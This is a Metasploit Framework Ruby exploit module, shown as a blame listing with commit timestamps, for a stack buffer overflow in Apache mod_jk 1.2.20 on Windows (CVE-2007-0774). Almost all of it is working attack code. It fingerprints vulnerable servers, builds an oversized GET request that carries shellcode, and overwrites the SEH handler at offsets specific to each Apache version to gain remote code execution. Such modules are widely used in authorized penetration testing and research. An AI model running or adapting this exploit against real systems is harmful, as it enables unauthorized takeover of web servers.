2010-04-30 08:40:19 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
2007-05-22 21:08:47 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
require 'msf/core'
|
2007-05-22 21:08:47 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2007-05-22 21:08:47 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2007-05-22 21:08:47 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2007-05-22 21:08:47 +00:00
|
|
|
'Name' => 'Apache mod_jk 1.2.20 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This is a stack buffer overflow exploit for mod_jk 1.2.20.
|
2007-05-22 21:08:47 +00:00
|
|
|
Should work on any Win32 OS.
|
|
|
|
},
|
|
|
|
'Author' => 'Nicob <nicob[at]nicob.net>',
|
2007-05-22 21:15:14 +00:00
|
|
|
'Version' => '$Revision$',
|
2007-05-22 21:08:47 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2008-01-27 02:13:54 +00:00
|
|
|
[ 'CVE', '2007-0774' ],
|
2009-05-13 17:39:42 +00:00
|
|
|
[ 'OSVDB', '33855' ],
|
2010-07-01 21:31:51 +00:00
|
|
|
[ 'BID', '22791' ],
|
|
|
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html' ]
|
2007-05-22 21:08:47 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 4000,
|
2010-07-01 21:31:51 +00:00
|
|
|
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2f\x3b\x3f\x5c",
|
2010-07-01 21:35:10 +00:00
|
|
|
'DisableNops' => true
|
2007-05-22 21:08:47 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2007-05-22 21:08:47 +00:00
|
|
|
[
|
|
|
|
# POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3)
|
|
|
|
['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }],
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Mar 02 2007'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-07-01 21:31:51 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(80)
|
|
|
|
], self.class)
|
2007-05-22 21:08:47 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
|
|
|
|
sock.put("GET / HTTP/1.0\r\n\r\n")
|
|
|
|
resp = sock.get_once
|
|
|
|
disconnect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-22 21:08:47 +00:00
|
|
|
if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then
|
|
|
|
print_status("Apache version detected : #{m[1]}")
|
|
|
|
return Exploit::CheckCode::Appears
|
|
|
|
else
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
uri_start = "GET /"
|
|
|
|
uri_end = ".html HTTP/1.0\r\n\r\n"
|
|
|
|
sc_base = 16
|
|
|
|
|
|
|
|
shellcode = payload.encoded
|
2010-07-01 21:31:51 +00:00
|
|
|
sploit = rand_text_alphanumeric(5001)
|
2007-05-22 21:08:47 +00:00
|
|
|
sploit[sc_base, shellcode.length] = shellcode
|
|
|
|
|
2007-05-28 12:38:52 +00:00
|
|
|
# 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
|
|
|
|
# 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
|
|
|
|
# 4423 : Apache/2.2.3 (Win32) mod_jk/1.2.20
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-28 12:38:52 +00:00
|
|
|
[ 4343, 4407, 4423 ].each { |seh_offset|
|
2007-05-22 21:08:47 +00:00
|
|
|
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
|
|
|
|
sploit[seh_offset - 4, 2] = "\xeb\xf9"
|
|
|
|
sploit[seh_offset , 4] = [ target.ret ].pack('V')
|
|
|
|
}
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-05-22 21:08:47 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(uri_start + sploit + uri_end)
|
|
|
|
|
|
|
|
resp = sock.get_once
|
2010-07-01 21:31:51 +00:00
|
|
|
if (resp and (m = resp.match(/<title>(.*)<\/title>/i)))
|
2007-05-22 21:08:47 +00:00
|
|
|
print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(")
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2007-05-22 21:08:47 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-05-13 17:39:42 +00:00
|
|
|
end
|